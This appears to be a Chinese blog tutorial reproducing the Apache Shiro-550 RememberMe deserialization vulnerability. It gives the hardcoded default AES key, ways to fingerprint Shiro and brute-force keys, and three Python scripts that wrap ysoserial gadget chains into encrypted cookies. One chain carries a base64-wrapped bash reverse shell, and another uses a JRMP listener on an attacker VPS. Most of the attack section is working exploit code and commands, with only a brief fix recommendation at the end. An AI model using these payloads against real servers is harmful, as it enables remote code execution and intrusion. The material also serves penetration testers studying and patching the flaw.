Shiro-550 漏洞保姆级复现教学(文末附工具获取方式)


Shiro-550 漏洞保姆级复现教学

前言

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro <= 1.2.4(需要获取AES秘钥)

漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑为:

获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化

在服务端接收cookie值时,按照如下步骤来解析处理:

1、检索RememberMe cookie 的值
2、Base64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

漏洞复现

Shiro <= 1.2.4 默认密钥:kPH+bIxk5D2deZiIxcaaaA==
注意:在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为 AES-GCM,Shiro高版本下的漏洞利用,就需要考虑加密模式变化的情况。

复现过程

整个复现过程如下:
1、确定shiro框架
2、爆破密钥KEY,或者使用默认密钥尝试
3、爆破利用链
4、反弹获取权限

Shiro漏洞判断

rememberMe:可以在 cookie 追加一个 rememberMe=xx 的字段,这个字段是rememberMeManager默认的,然后看响应头部可以看看是否有 Set-Cookie: rememberMe=deleteMe; 的字段则可判断使⽤了shiro框架。

案例特征:

  1. 未登录情况下
  2. 请求包中 Cookie 中存在 rememberMe字段,但返回包里无deleteMe字段
  3. 构造Cookie: rememberMe=yes,返回包存在 rememberMe=deleteMe

爆破密钥

使用工具脚本验证是否存在默认KEY

怎么确定KEY正确?

看响应包特征

  • 不正确的KEY,响应包:rememberMe=deleteMe
  • 正确KEY,响应包返回cookie值

生成利用链

这个利用链需要结合 ysoserial-0.0.6-SNAPSHOT-all.jar 工具生成,具体哪个利用链能用需要都试一遍,一般都是通过爆破的方法来确定市面上工具挺多的,我这里就手工演示。

先打一个URLdns链子

#encoding=utf-8
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print("rememberMe={0}".format(payload.decode()))

生成利用链

发送

成功

再试一下 CommonsCollections2 链,打个dnslog试试

生成利用链

#encoding=utf-8
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print("rememberMe={0}".format(payload.decode()))

VPS起一下监听

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections2 "ping xxxx"

发送payload,利用成功,说明这个链子可以用

构造反弹shell的利用链

#encoding=utf-8
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2',"bash -c {echo,xxxxxxx}|{base64,-d}|{bash,-i}"], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print("rememberMe={0}".format(payload.decode()))

生成反弹shell的payload

VPS 监听端口

发送payload

获取shell权限

修复建议

Apache Shiro 1.2.5以下版本,建议抓紧升级shiro的版本,另一个修复建议就是将默认Key加密改为生成随机的Key加密。

工具获取关注公众号回复 “shiro550”

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试小白

如果您觉得满意,一分一毛也是爱

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值